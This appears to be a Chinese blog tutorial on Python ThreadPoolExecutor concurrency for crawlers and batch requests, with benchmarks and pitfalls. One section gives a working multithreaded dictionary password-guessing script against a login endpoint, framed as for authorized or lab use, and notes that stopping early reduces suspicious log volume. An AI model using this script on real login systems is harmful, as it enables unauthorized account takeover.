很多批量请求脚本慢，不是慢在计算，而是慢在“等”。前段时间处理一个电商选品团队的商品信息采集任务：两万条链接，原单线程脚本跑近两小时，把请求部分换成 ThreadPoolExecutor 后约二十分钟完成，线程调到 16 个压到八分钟出头。代码本身没有玄学，唯一的改动是把“一个人排队等网络”改成“一堆人同时等网络”。
本文围绕这个思路，把 GIL 与 I/O 等待的关系、线程数估算方法、ThreadPoolExecutor 的使用方式、并发抓取骨架、实测拐点，以及并发请求里最常见的几类事故讲清楚。文中涉及口令测试的部分，全部以自建靶场、书面授权的安全评估、自己设备的密码恢复为前提，脚本不要指向任何未授权目标。
一、GIL 到底卡住了什么
初学者常听到“Python 多线程是假的”，这个说法只对一半。CPython 解释器同一时刻确实只执行一条字节码，纯 CPU 计算靠多线程很难提速。但 GIL 不是一直握死的：线程进入 I/O 等待时，解释器会释放锁，让其他线程继续跑。网络请求、磁盘读写、time.sleep()、数据库查询等待都属于这一类。
一次 HTTP 请求真正占用 CPU 的时间可能只有亚毫秒级，剩下绝大部分时间在等对端返回。这段空窗里 GIL 是空闲的，其他线程可以继续发请求。爬虫、批量接口调用、授权口令测试，本质上都是“等”的任务，所以 Python 多线程在这些场景是实打实有效的。
二、线程数怎么定：先给任务定性，再用公式估算
先判断任务类型，再决定并发模型，比拍脑袋写 max_workers=1000 靠谱得多：
- CPU 密集型（本地哈希、图像像素处理、大型 JSON 解析）：用 ProcessPoolExecutor，进程数约等于 CPU 核心数。
- I/O 密集型、短请求（爬虫、批量调 API、登录接口测试）：用 ThreadPoolExecutor，几十到两三百线程。
- I/O 密集型、长连接（WebSocket 推送、消息队列消费）：协程 asyncio，按业务模型决定。
- 混合型（先下载再解析再入库）：多线程负责请求，解析单独分层处理。
线程数可以用一个简化公式估算，本质是利特尔法则的简化形式：
并发数 ≈ 目标每秒请求数 × 平均响应时间
例如平均响应 0.5 秒、希望每秒发 20 个请求，则至少需要 10 个请求同时在途：20 × 0.5 = 10。低于这个值发不出那么多请求，远超这个值多出来的线程只是在空转，还会增加上下文切换和对方服务压力。实践中一般从 8 到 16 个线程起步，观察目标接口响应时间是否明显变长、本地 CPU 是否打满、是否出现大量连接失败，再逐步加到 32、64。理想加速比受任务中串行部分比例限制（阿姆达尔定律），这一点后面的实测数据能直接看到。
三、为什么用 ThreadPoolExecutor 而不是 threading + Queue
传统写法是 threading.Thread 配 queue.Queue，再自己写 worker 循环、put、task_done、join，几十行起步。concurrent.futures.ThreadPoolExecutor 把线程池生命周期、任务提交、结果收集都封装掉，异常处理也更直观。常用的四个入口：
- submit(fn, *args)：提交单个任务，返回 Future。
- map(fn, iterable)：批量提交，返回结果顺序与提交顺序一致。
- as_completed(futures)：谁先完成先处理谁，适合边完成边入库或提前终止。
- with ThreadPoolExecutor(...) as pool：退出代码块自动调用 shutdown(wait=True)，阻塞等待所有线程结束。
需要按提交顺序拿结果就用 map；更关心尽快处理已完成任务就用 submit + as_completed。as_completed 下单个任务抛异常可以单独捕获，不影响其他任务的结果收集，这在爬虫里非常关键。
四、可直接复用的并发抓取骨架
下面这段包含并发抓取、超时控制、429 指数退避重试、主线程统一落盘。地址用 example.org 占位，换成自己有权采集的目标即可；采集前先看目标站点的 robots.txt 与服务条款。
- import random
- import threading
- import time
- import logging
- import requests
- from concurrent.futures import ThreadPoolExecutor, as_completed
- logging.basicConfig(level=logging.INFO, format="%(asctime)s %(threadName)s %(levelname)s %(message)s")
- logger = logging.getLogger("crawler")
- URLS = [f"https://example.org/articles/{i}" for i in range(1, 501)]
- thread_local = threading.local()
- def get_session() -> requests.Session:
- """每个线程维护自己的 Session，避免共享 Session 出现状态串台。"""
- if not hasattr(thread_local, "session"):
- session = requests.Session()
- session.headers.update(
- {
- "User-Agent": "Mozilla/5.0 (compatible; MyCrawler/1.0)",
- "Accept": "text/html,application/xhtml+xml",
- }
- )
- thread_local.session = session
- return thread_local.session
- def fetch_one(url: str, retries: int = 3) -> tuple[str, str | None]:
- session = get_session()
- for attempt in range(retries):
- try:
- resp = session.get(url, timeout=10)
- if resp.status_code == 429:
- wait_time = 2 ** attempt + random.uniform(0, 1)
- logger.warning("收到 429，等待 %.2f 秒后重试 %s", wait_time, url)
- time.sleep(wait_time)
- continue
- resp.raise_for_status()
- return url, resp.text
- except requests.RequestException as exc:
- if attempt == retries - 1:
- logger.error("请求失败 %s: %s", url, exc)
- return url, None
- time.sleep(2 ** attempt + random.uniform(0, 0.5))
- return url, None
- def save_result(url: str, html: str | None) -> None:
- """只在主线程里写入文件，避免多线程开同一文件句柄造成乱序。"""
- with open("crawled.txt", "a", encoding="utf-8") as f:
- f.write(f"{url}\t{len(html) if html else 0}\n")
- def main(workers: int = 16):
- with ThreadPoolExecutor(max_workers=workers) as pool:
- futures = [pool.submit(fetch_one, url) for url in URLS]
- for future in as_completed(futures):
- url, html = future.result()
- save_result(url, html)
- if len(URLS) <= 50 or int(url.rsplit("/", 1)[-1]) % 50 == 0:
- logger.info("已处理 %s，页面大小 %s", url, len(html) if html else -1)
三个细节值得注意：thread_local 保证每个线程只创建一次 Session，连接复用是线程局部的，不会出现跨线程改 Header 导致请求头错乱；as_completed 每完成一个就交给 save_result，子线程只返回数据、主线程写文件；429 与连接异常都做指数退避，第一次等 1 到 2 秒，第二次等 4 到 5 秒，给对方服务留出喘息空间。
五、实测：线程从 1 加到 32，拐点在哪
本地起一个固定处理 0.2 秒的 Demo 服务，对 1000 个链接抓取，结果大致如下：
- 1 线程：总耗时 202 秒，成功率 100%，目标接口平均响应 0.20s
- 4 线程：53 秒，100%，0.20s
- 8 线程：27 秒，100%，0.21s
- 16 线程：14 秒，99.6%，0.33s
- 32 线程：8 秒，96.8%，0.61s
1 到 16 线程之间加速比接近线性，因为瓶颈在目标接口的处理时间，16 个并发恰好把单个接口的串行队列瓜分掉。到 32 线程总耗时继续下降，但目标接口平均响应变长、成功率开始下滑，说明服务端已经忙不过来。
结论是：线程数甜点取决于目标服务的处理能力，而不是本地机器配置。服务端更强，32 线程可能仍线性；服务端更弱，8 线程就可能开始超时。用小批量数据试几档，找“耗时明显下降、错误率没起来”的值，比迷信固定数字可靠。
六、授权口令测试场景：边界、代码与熔断
安全测试领域更规范的叫法是口令猜测测试或口令喷射测试：拿一份候选口令字典，逐个提交到认证入口，观察哪个口令通过校验。多线程在这里的作用和爬虫一样，把排队执行的尝试拆成多路并发，压缩整体时间。合法前提只有：拿到书面授权做安全评估、本地专用于练习的靶场、恢复自己设备的密码、CTF 题目自带的靶机。并发会让单位时间尝试次数暴增，更容易触发锁定、告警和 IP 封禁，所以下面代码只在自建靶场里跑。
场景设定：本地靶场接口 http://靶机.local/api/login，提交 {"username": "admin", "password": "xxxx"}，正确返回 {"code": 0}，否则 {"code": 1}；字典是一行一个候选口令的文本文件。
- import random
- import threading
- import time
- import logging
- import requests
- from concurrent.futures import ThreadPoolExecutor, as_completed
- logging.basicConfig(level=logging.INFO, format="%(asctime)s %(threadName)s %(levelname)s %(message)s")
- logger = logging.getLogger("auth_test")
- # 仅用于本地自建靶场，绝对不要改成真实目标地址
- LOGIN_ENDPOINT = "http://靶机.local/api/login"
- USERNAME = "admin"
- stop_event = threading.Event()
- fail_lock = threading.Lock()
- fail_count = 0
- MAX_CONSECUTIVE_FAIL = 10
- def load_dictionary(path: str) -> list[str]:
- with open(path, "r", encoding="utf-8", errors="ignore") as f:
- return [line.strip() for line in f if line.strip()]
- def try_login(password: str) -> bool:
- """尝试一个口令，返回是否命中正确口令。"""
- global fail_count
- if stop_event.is_set():
- return False
- try:
- resp = requests.post(
- LOGIN_ENDPOINT,
- json={"username": USERNAME, "password": password},
- timeout=3,
- )
- except requests.RequestException:
- return False
- if resp.status_code != 200:
- # 服务端返回异常，可能是限流或临时故障，做一次随机退避
- with fail_lock:
- fail_count += 1
- if fail_count >= MAX_CONSECUTIVE_FAIL:
- logger.error("连续 %s 次请求异常，触发熔断", fail_count)
- stop_event.set()
- time.sleep(1 + random.random())
- return False
- # 成功返回就通知其他线程停止
- if resp.json().get("code") == 0:
- stop_event.set()
- return True
- return False
- def run_auth_test(dict_path: str, workers: int = 8):
- passwords = load_dictionary(dict_path)
- logger.info("加载字典 %s 条，启动 %s 个线程", len(passwords), workers)
- with ThreadPoolExecutor(max_workers=workers) as pool:
- futures = [pool.submit(try_login, password) for password in passwords]
- for future in as_completed(futures):
- if future.result():
- logger.info("命中正确口令，正在停止其余任务")
- break
- if stop_event.is_set():
- break
- logger.info("测试结束")
- if __name__ == "__main__":
- run_auth_test("passwords.txt", workers=8)
设计要点：stop_event 让命中后未开始的任务立刻放弃，既省请求也减少可疑日志量；连续 10 次非 200 触发熔断，说明服务端已紧张，继续撞只会招来封锁；需要控制频率时，可在请求间显式加 time.sleep(0.2) 之类的间隔，具体取决于对方的锁定策略。
七、多线程解决不了的三件事
第一，一次性 token。若登录前要先取 token、从响应中提取并在下一次请求带上，多线程下各线程拿到的 token 可能不同且互相覆盖，代码复杂度陡增。第二，验证码。每个请求都要过人机校验，并发完全帮不上忙，这类场景应走正规找回密码或审批流程。第三，账号锁定与来源日志。并发会在极短时间内触发锁定，也会留下更多来源日志，多线程不会让来源更隐蔽，只会让日志更多。遇到这些限制，正确做法是降频、缩小字典范围，而不是继续加线程。
八、并发请求最常翻车的五个地方
1）共享一个 Session。把全局唯一的 requests.Session 丢给所有线程，开 16 个线程速度却几乎没提升，抓包会发现同一 host 的连接池容量有限，多出来的请求都在等空闲连接，实际并发不到一半。另外多线程同时改 headers 或 cookies 有小概率互相覆盖，官方并未承诺 Session 线程安全。建议每个线程一个 Session，用 threading.local() 包起来。
2）并发写文件。普通文件对象的写入不是线程安全的，两个线程同时 write 会出现行序错乱甚至半行截断。子线程只返回结果，落盘统一交给主线程，在 as_completed 循环里拿到一个写一行；数据量特别大可以加一个专门的落盘线程消费队列。
3）端口与文件描述符耗尽。线程数很大且每个请求都新建连接时，短连接关闭后进入 TIME_WAIT，Linux 临时端口范围有限，很快报 Cannot assign requested address。曾有一次线程调到 200、每线程 Session 未复用，跑了五分钟就开始大量报错。解决方向是控制线程数、复用连接，系统参数调优需按实际环境评估，不要盲目放大。
4）并发太快把目标打挂或触发限流。单线程 5 分钟的任务压到 20 秒，单位时间请求量暴增，很容易触发限流甚至压垮小型应用。可以加一个总速率闸门，用 threading.Semaphore 控制同时在途请求数，或在任务里加随机小延迟。对方没给限流阈值时，宁可慢一点。
5）日志与进度条乱掉。多线程 print 会东一句西一句，进度条数字乱跳，因为标准输出没有同步机制。logging 模块本身线程安全，内容不会交叉；进度条只在主线程更新，子线程把结果塞进队列或 Future。
九、进阶方向与调试技巧
ThreadPoolExecutor 用得熟练后会遇到天花板：线程调度有开销，几百个线程尚可，几千个就勉强。两个方向：asyncio 适合 I/O 密集、并发量极高、响应时间不稳定的场景，用事件循环让单线程管理成千上万个 socket，但异步代码调试难度高于多线程，简单爬虫不建议一上来就用；ProcessPoolExecutor 适合解析、特征提取这类 CPU 占比大的环节，可以多线程抓取、多进程解析，把两类开销分开。
最朴素也最有效的路径始终是：先把单线程版本跑通，记录耗时与成功率，再逐档加并发找到甜点值。调试并发程序时，在 logging 格式里加上 %(threadName)s，日志里能直接看到每条请求由哪个线程发出，排查问题时非常有用。 |
发表于 
发表于